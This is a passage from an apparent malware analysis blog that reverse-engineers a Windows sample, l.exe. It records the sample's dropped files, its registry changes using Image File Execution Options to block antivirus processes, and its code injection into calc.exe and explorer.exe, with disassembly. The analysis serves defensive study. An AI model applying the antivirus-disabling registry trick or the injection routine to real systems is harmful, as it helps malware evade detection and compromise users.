  TCP    10.0.2.15:1121         10.0.2.4:135           CLOSE_WAIT
  TCP    10.0.2.15:1149         10.0.2.1:80            SYN_SENT
  TCP    127.0.0.1:1025         0.0.0.0:0              LISTENING

The process/task responsible for the network connectivity is PID 4, which is "System"

If we look back at the results (procmon & thread analysis), we can see that a lot more "damage" was done than what was seen in the debugger :

Files changed by l.exe :

C:\WINDOWS\system32\rmoc3260.tlb
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\F.tmp
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\12.tmp

C:\WINDOWS\system32\actxprxy.dll
C:\Program Files\Real\pnen3260.dll
C:\Documents and Settings\Obzy-CLMAL\Application Data\JSON.kml

C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF19.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF21.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF29.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF2D.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF36.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF3A.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF3E.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF42.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF46.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF4A.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF4E.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF53.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF57.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF5E.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF65.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF6B.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF70.exe
C:\Documents and Settings\Obzy-CLMAL\Application Data\Tencent\~DF76.exe
C:\Program Files\Common Files\real\Plugins\xmlp1092c.dll

C:\Program Files\ComPlus Applications\pncrt.dll

C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\25.tmp

C:\WINDOWS\AppPatch\AcXtrnal.xml
C:\WINDOWS\system32\divxdec.dll
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\31.tmp
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\34.tmp
C:\WINDOWS\system32\mswsock.dll
C:\Program Files\ComPlus Applications\spcommon.dll
C:\Program Files\ComPlus Applications\mssoap2.dll
C:\Program Files\ComPlus Applications\XPlayer.dll

C:\Program Files\ComPlus Applications\repodbc.dll
C:\Program Files\ComPlus Applications\mdw.dll
C:\Program Files\ComPlus Applications\regutils.dll
C:\Program Files\WinRar\UNACEV32.DLL
C:\Program Files\ComPlus Applications\iedw.dll
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb222545.sve
C:\Program Files\Common Files\System\kb222545.tmt
C:\WINDOWS\system32\ddraw.dll.dat
C:\WINDOWS\system32\ddraw.dll.dat
C:\WINDOWS\system32\ddraw.dll.PEFQ
C:\WINDOWS\system32\ddraw.dll
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb559824.sve
C:\Program Files\Common Files\System\kb559824.bwb
C:\WINDOWS\system32\dsound.dll.dat
C:\WINDOWS\system32\dsound.dll.dat
C:\WINDOWS\system32\dsound.dll.CEXU
C:\WINDOWS\system32\dsound.dll
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb806283.sve
C:\Program Files\Common Files\System\kb806283.rdc
C:\WINDOWS\system32\d3d8thk.dll.dat
C:\WINDOWS\system32\d3d8thk.dll.dat
C:\WINDOWS\system32\d3d8thk.dll.ZJHV
C:\WINDOWS\system32\d3d8thk.dll
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb008103.sve
C:\Program Files\Common Files\System\kb008103.srd
C:\WINDOWS\system32\d3d8thk.dll.dat
C:\WINDOWS\system32\d3d8thk.dll.dat
C:\WINDOWS\system32\d3d8thk.dll.FLGU
C:\WINDOWS\system32\d3d8thk.dll
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat
C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb335462.sve
C:\Program Files\Common Files\System\kb335462.dma
C:\WINDOWS\system32\dsound.dll.dat
C:\WINDOWS\system32\dsound.dll.dat

Registry changes :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safeboxtray.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavstart.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstray.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32krn.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rp.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LiveUpdate360.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "Class" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "0" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{F93D056D-ABB8-416F-AA6E-0E9C061309B1} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "1" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "2" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "3" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{17E0BB06-EEAF-4513-B6D7-604214076F57} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "4" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{7FDF64E3-EADA-40C4-91A5-11665A86D7D6} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "5" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{FEF400DE-D05A-4789-ABC4-F26122753257} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "6" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{915C7EE5-583B-4685-9529-66FE0297ABF9} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "7" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "8" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{89A83CDE-E6BF-433C-A1D5-8AF0D66389AD} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavstart.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kwatch.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kswebshield.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kmailmon.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kissvc.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LiveUpdate360.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rp.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstray.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMonD.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DSMain.exe "Debugger" = ntsd -d
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "9" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "10" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{5BB5FF59-A724-4667-B6FA-81C1AF65622A} "Hex" = [REG_BINARY, size: 512 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "11" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "12" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "13" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "14" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "15" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "16" = [REG_BINARY, size: 16 bytes]
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0 "" = WmiLib
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0\FLAGS "" = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0\0\win32 "" = C:\Program Files\ComPlus Applications\MSVB50CHS.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0\HELPDIR "" = C:\Program Files\ComPlus Applications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "" = _Services
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\ProxyStubClsid "" = {00020424-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\ProxyStubClsid32 "" = {00020424-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\TypeLib "" = {B5A191F0-889A-42F0-A98B-F4B9CB39197E}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\TypeLib "Version" = 1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "" = WmiLib.Services
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "ProgID" = WmiLib.Services
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D}\InprocServer32 "" = C:\Program Files\ComPlus Applications\MSVB50CHS.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D}\InprocServer32 "ThreadingModel" = Apartment
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "TypeLib" = {B5A191F0-889A-42F0-A98B-F4B9CB39197E}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "VERSION" = 1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WmiLib.Services "" = WmiLib.Services
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WmiLib.Services "Clsid" = {317C7177-0E7D-4FD5-92E6-813724DFF38D}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "" = Services
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "ProxyStubClsid" = {00020424-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "ProxyStubClsid32" = {00020424-0000-0000-C000-000000000046}

Threads :

l.exe-thread-view

Wow – looks like we only saw the tip of the iceberg… 

Despite putting in a lot of effort already, it looks like parts of the actual infection were not documented or detected in my first run through the debugger. A lot more files got created, threads started, registry keys changed, network connections initiated (worm ?)… and it looks like I missed that. 

 

December 2nd, 2010 21:45:30 GMT+1 – stage 4 – calc.exe

One of the things that is left undocumented at this point, is the calc.exe process.  It is launched by a CreateProcess() call (at 0x00401E05), and appears to be an important step in the infection process.  A process created with this function will run in the context of the calling process. 

When looking at the CreateProcess function syntax, we see this :

BOOL WINAPI CreateProcess(
  __in_opt     LPCTSTR lpApplicationName,
  __inout_opt  LPTSTR lpCommandLine,
  __in_opt     LPSECURITY_ATTRIBUTES lpProcessAttributes,
  __in_opt     LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in         BOOL bInheritHandles,
  __in         DWORD dwCreationFlags,
  __in_opt     LPVOID lpEnvironment,
  __in_opt     LPCTSTR lpCurrentDirectory,
  __in         LPSTARTUPINFO lpStartupInfo,
  __out        LPPROCESS_INFORMATION lpProcessInformation
);

and the arguments used in l.exe are :

0012E854   00000000  ....  |ModuleFileName = NULL
0012E858   00333A19  :3.  |CommandLine = "calc"
0012E85C   00000000  ....  |pProcessSecurity = NULL
0012E860   00000000  ....  |pThreadSecurity = NULL
0012E864   00000000  ....  |InheritHandles = FALSE
0012E868   00000004  ...  |CreationFlags = CREATE_SUSPENDED
0012E86C   00000000  ....  |pEnvironment = NULL
0012E870   00000000  ....  |CurrentDir = NULL
0012E874   0012FB50  Pû.  |pStartupInfo = 0012FB50
0012E878   0012FB98  ˜û.  \pProcessInfo = 0012FB98

Basically, this call will launch calc.exe (CommandLine parameter) from c:\windows\system32.  The process will be put in a suspended state (until ResumeThread is called). The last 2 arguments are interesting :

  • pStartupInfo contains a pointer to a STARTUPINFO or STARTUPINFOEX structure.  (0012FB50 in our case)
  • pProcessInfo is a pointer to a PROCESS_INFORMATION structure that receives identification information about the new process. (0012FB98 in our case)

A startupinfo structure looks like this :

typedef struct _STARTUPINFO {
  DWORD  cb;
  LPTSTR lpReserved;
  LPTSTR lpDesktop;
  LPTSTR lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;

Based on the contents at 0012FB50, the (non-null) values for each of those members is :

0012FB50  44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  D...............
0012FB60  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0012FB70  00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00  ............€...
0012FB80  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0012FB90  00 00 00 00 7C 00 00 00                          ....|...
  • cb : 0x44
  • wShowWindows : 0x80
  • hStdError : 0x7c

A Process_Information structure contains the following members :

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
0012FB98  C4 FD 12 00 A8 FB 12 00 F6 1E 83 7C 38 FB 12 00  Äý.¨û.öƒ|8û.
  • hProcess : 0012FDC4
  • hThread : 0012FBA8
  • dwProcessId : 7C831EF6
  • dwThreadId : 0012FB38

So, when the CreateProcess() call is executed, a new thread is created (7B0 in my example), but kept in "suspended" state.

Note : if spawning calc.exe didn’t work, l.exe will try to launch osk.exe instead (XP’s On-Screen Keyboard Utility)

In the CreateProcess() function (kernel32), a memmove is issued, moving the Startupinfo structure to 0012E780

image

image

Then, a call to kernel32.CreateProcessInternalW is made, using the following arguments :

0012E730   00000000  ....  |Arg1 = 00000000
0012E734   00000000  ....  |Arg2 = 00000000
0012E738   0014C470  pÄ.  |Arg3 = 0014C470
0012E73C   00000000  ....  |Arg4 = 00000000
0012E740   00000000  ....  |Arg5 = 00000000
0012E744   00000000  ....  |Arg6 = 00000000
0012E748   00000004  ...  |Arg7 = 00000004
0012E74C   00000000  ....  |Arg8 = 00000000
0012E750   00000000  ....  |Arg9 = 00000000
0012E754   0012E780  ۍ.  |Arg10 = 0012E780
0012E758   0012FB98  ˜û.  |Arg11 = 0012FB98
0012E75C   00000000  ....  \Arg12 = 00000000

When that call returns, calc.exe is running.

So, as explained earlier, the CreateProcess() call is followed by VirtualAlloc() at 00401E44 and WriteProcessMemory() at 00401E7C.  The WPM() call writes data (0x1000 bytes), from 0012E884 to the newly allocated heap at 0xA0000.  It will write the amount of bytes written to 0012FB94.  A little while later, ResumeThread() is called, which tells calc.exe to run.

The new heap block, starting at 0xA0000, is associated with calc.exe.  The whole purpose of launching a genuine instance of calc is to inject code in it and let it run.  In order to figure out what that code does, we need to be able to attach a debugger to it.

In order to attach a debugger to calc.exe, make sure the process is paused (use Process Explorer to do that) and then the process will show up in a second debugger.

Then, directly before running WPM in l.exe, you can see the current contents of memory at 0xA0000.

After WPM is executed, the heap in calc.exe is updated as well :

image

If we look at the first function in the code, we see this :

000A0004 897424 0C MOV DWORD PTR SS:[ESP+C],ESI
000A0008 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C]
000A000C 33DB XOR EBX,EBX
000A000E 8D7E 0C LEA EDI,DWORD PTR DS:[ESI+C]
000A0011 57 PUSH EDI
000A0012 FF16 CALL DWORD PTR DS:[ESI] ; Delete l.exe
000A0014 85C0 TEST EAX,EAX
000A0016 75 0E JNZ SHORT 000A0026 ; Successful, then exit
000A0018 6A 0A PUSH 0A
000A001A FF56 04 CALL DWORD PTR DS:[ESI+4] ; sleep
000A001D 43 INC EBX
000A001E 81FB E8030000 CMP EBX,3E8 ; 1000x
000A0024 ^7C EB JL SHORT 000A0011 ; try to delete l.exe again
000A0026 6A 00 PUSH 0
000A0028 FF56 08 CALL DWORD PTR DS:[ESI+8] ; exit
000A002B 5F POP EDI
000A002C 5E POP ESI
000A002D 5B POP EBX
000A002E 59 POP ECX
000A002F C3 RETN

The function will simply try to delete l.exe and then exits…   Looks like a cleanup routine.

Open l.exe again in the debugger, run !hidedebug all_debug and then set breakpoints on some functions in kernel32 :

image

(set a bp at ResumeThread as well – not shown in the list above)

Set a breakpoint at 00401E05 and then let l.exe run. You’ll observe 2 exceptions (pass both of them to the application with Shift+F9). You should then hit a breakpoint at the CreateProcess() call.

Inside the CreateProcess routine, a call is made to kernel32.CreateProcessInternalA.  In that function, first a call is made to kernel32.7C8024D6 and then a call is made to kernel32.7C811598 (at 0x7C81D56F)

image

While looking at function 7C811598, I also observed some new processes being created (and closed) in process explorer :

(~DF15.exe in the screenshot below) :

image

(I only caught one of them in this screenshot, but as you will see later, more similar processes get created).  After those processes are started (and closed), the machine starts making connections to other hosts on the network.  It’s unclear if those (child) processes are responsible for the network connectivity or not… 

Furthermore, at that time, our CreateProcess() hasn’t even run yet… 

I decided to run process monitor, set a breakpoint at 00401E05, keep the application "paused" (don’t jump into the CreateProcess call yet), and watch interactions in procmon. 

Interestingly enough, the process activity kicks off even without running  CreateProcess("calc"), and… guess what, procmon reports calc.exe is already running.  We missed something… again.

It looks like our mysterious calc is not the key. Calc is used to clean up, and the cleanup code is injected by the WPM() call, writing to 0xA000…   

It did not do any harm though, so something else is going on here.

 

 

December 2nd, 2010 21:45:30 GMT+1 – stage 4 – calc.exe explorer.exe

Calc.exe is clearly not stage 4. Something happened before calc was executed.

Let’s take a closer look at some of the entries in the procmon report :

image

image

image

Oh – so explorer.exe is creating a new thread… no wonder we couldn’t see anything in the debugger.

Let’s see what else happens :

image

owww – more threads…

and more processes :

image

image

image

and so on…  Full report can be found here : http://redmine.corelan.be:8800/attachments/download/185/l.exe_2_Logfile.PML.zip

(put a filter on process l.exe and explorer.exe)

Okay – it looks like something (l.exe ?) injected something into explorer.exe (before running calc.exe ?). We don’t know yet if the injection took place to hook functions/API’s, or to just execute code.  Based on the procmon results, it looks like the latter is more likely. After all, we did not see anything that would alter/hide results in directory listings, process listings, etc… So no real API hooking occurred as far as we can see)

Before going back at l.exe, let’s briefly list some common ways to inject code into a remote process (userland) :

  • Windows Hooks (we’ll assume that this is not the case in our example, so we’ll skip this one for now)
  • CreateRemoteThread()
  • other techniques

In order to inject a dll into a remote process, CreateRemoteThread can be used (which starts a new thread in a remote process). This thread can be told to execute code, load a library, etc etc (using the lpStartAddress argument).  If the code needs to be able to use strings or other data/code that are currently only known by the injector code (which would be l.exe in our case), then we’ll probably see some memory being allocated first (VirtualAllocEx()), and bytes are then copied to that address space (using WriteProcessMemory() for example). You can find more info about this technique in this excellent Phrack article

Another technique would be to hijack an existing thread and have it execute code.  In order to pull this off, the code would probably monitor the creation of new processes, get the thread handle of the first thread in the process, and suspend it.  Next, code would be copied to the thread (overwriting existing code), and then the thread would be resumed.  One of the things the injector would probably do, is use GetThreadContext() to get the context flags and thread structure and then patch the structure. 

This looks like a routine we saw earlier, used to patch memory in the calc.exe process.  At the same time, we are pretty sure that’s not the injection that is causing additional infection.

One of our team members, _sinn3r, spent some time looking for routines/signs that could be associated with injection, and he found this one (in the .tmp dll file)

10004CB7   FF15 F8900010    CALL DWORD PTR DS:[<&KERNEL32.GetModuleHandleA>]
10004CBD   50               PUSH EAX
10004CBE   E8 D5F4FFFF      CALL 5C.10004198
10004CC3   3BC7             CMP EAX,EDI
10004CC5   59               POP ECX
10004CC6   59               POP ECX
10004CC7   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX
10004CCA   74 73            JE SHORT 5C.10004D3F
10004CCC   53               PUSH EBX
10004CCD   FF75 08          PUSH DWORD PTR SS:[EBP+8]
10004CD0   E8 99FDFFFF      CALL 5C.10004A6E
10004CD5   59               POP ECX
10004CD6   50               PUSH EAX
10004CD7   57               PUSH EDI
10004CD8   68 FF0F1F00      PUSH 1F0FFF
10004CDD   8945 08          MOV DWORD PTR SS:[EBP+8],EAX
10004CE0   FF15 90910010    CALL DWORD PTR DS:[<&KERNEL32.OpenProcess>]
10004CE6   8BD8             MOV EBX,EAX
10004CE8   3BDF             CMP EBX,EDI
10004CEA   74 52            JE SHORT 5C.10004D3E
10004CEC   56               PUSH ESI
10004CED   6A 40            PUSH 40
10004CEF   68 00100000      PUSH 1000
10004CF4   FF75 10          PUSH DWORD PTR SS:[EBP+10]
10004CF7   57               PUSH EDI
10004CF8   53               PUSH EBX
10004CF9   FF15 98900010    CALL DWORD PTR DS:[<&KERNEL32.VirtualAllocEx>]
10004CFF   8BF0             MOV ESI,EAX
10004D01   3BF7             CMP ESI,EDI
10004D03   74 31            JE SHORT 5C.10004D36
10004D05   8D45 10          LEA EAX,DWORD PTR SS:[EBP+10]
10004D08   50               PUSH EAX
10004D09   FF75 10          PUSH DWORD PTR SS:[EBP+10]
10004D0C   FF75 0C          PUSH DWORD PTR SS:[EBP+C]
10004D0F   56               PUSH ESI
10004D10   53               PUSH EBX
10004D11   FF15 94900010    CALL DWORD PTR DS:[<&KERNEL32.WriteProcessMemory>] 

Before OpenProcess() is called, we see the following interesting call :

10004CCC   53               PUSH EBX
10004CCD   FF75 08          PUSH DWORD PTR SS:[EBP+8]
10004CD0   E8 99FDFFFF      CALL 5C.10004A6E        ; GetWindowProcessThreadID

where 10004A6E does this :

10004A6E   55               PUSH EBP
10004A6F   8BEC             MOV EBP,ESP
10004A71   51               PUSH ECX
10004A72   FF55 08          CALL DWORD PTR SS:[EBP+8]
10004A75   85C0             TEST EAX,EAX
10004A77   75 0A            JNZ SHORT 4A.10004A83
10004A79   E8 6DFFFFFF      CALL 4A.100049EB
10004A7E   8945 FC          MOV DWORD PTR SS:[EBP-4],EAX
10004A81   EB 0B            JMP SHORT 4A.10004A8E
10004A83   8D4D FC          LEA ECX,DWORD PTR SS:[EBP-4]
10004A86   51               PUSH ECX
10004A87   50               PUSH EAX
10004A88   FF15 D4910010    CALL DWORD PTR DS:[<&USER32.GetWindowThreadProcessId>
10004A8E   8B45 FC          MOV EAX,DWORD PTR SS:[EBP-4]
10004A91   C9               LEAVE
10004A92   C3               RETN

image

The call to user32.GetTaskmanWindow returns this :

image

The call to GetWindowThreadProcessId takes the following 2 parameters :

0012EA44   0001007E  ~..  |hWnd = 0001007E ('Running Applications',class='MSTaskSwWClass',parent=00010078)
0012EA48   0012EA4C  Lê.  \pProcessID = 0012EA4C

image

Basically, the GetWindowThreadProcessId will look for a window caption "Running Applications".

Tip : attach a debugger to explorer.exe and open the "Windows" view :

Windows, item 31
 Handle=0001008A
 Title=Running Applications
 Parent=00010078
 Style=56010000
 Thread=0000064C
 ClsProc=FFFF04AA
 Class=MSTaskSwWClass

When the function 10004A6E ends, a process ID is stored in eax (Let’s say the ID is 5FC)

Then, OpenProcess() is called, taking the following parameters (note ProcessId = 5FC):

0012EA44   0001007E  ~..  UNICODE "Documents and Settings\corelan\Application Data"
0012EA48   0012EA4C  Lê.
0012EA4C   000005FC  ü..
0012EA50   001F0FFF  ÿ.  |Access = PROCESS_ALL_ACCESS
0012EA54   00000000  ....  |Inheritable = FALSE
0012EA58   000005FC  ü..  \ProcessId = 5FC

So this opens a remote process.

0x5FC = 1532…  and 1532 = explorer.exe

image

OpenProcess() returns 0x7c

VirtualAllocEx() is called (another indication of process injection), using 0x7C as first parameter :

0012EA44   0000007C  |...  |Arg1 = 0000007C
0012EA48   00000000  ....  |Arg2 = 00000000
0012EA4C   00001000  ...  |Arg3 = 00001000
0012EA50   00001000  ...  |Arg4 = 00001000
0012EA54   00000040  @...  \Arg5 = 00000040

The virtualAlloc() call returns 013E0000 (eax)

The WriteProcessMemory() call at 10004D11, uses the following parameters  (again 0x7C as first parameter)

0012EA44   0000007C  |...  |hProcess = 0000007C (window)
0012EA48   013E0000  ..>  |Address = 13E0000
0012EA4C   0012EA90  ê.  |Buffer = 0012EA90
0012EA50   00001000  ...  |BytesToWrite = 1000 (4096.)
0012EA54   0012EA78  xê.  \pBytesWritten = 0012EA78

We have seen this call before. We just didn’t link it to the injection into another process at that point.  Since this is a remote process injection, we cannot dump the contents of memory at 0x13E000 when debugging l.exe :

image

Before executing the WPM call, we dumped the source (4096 bytes, starting at 0012EA90) to file :

image

Ok, now we have been able to prove that something was injected into explorer.exe.

Things are starting to make some sense now.

Attach a debugger to explorer.exe and dump the contents of 13E0000 :

image

as expected, this is an exact match with what was dumped to wpm.bin earlier :

image

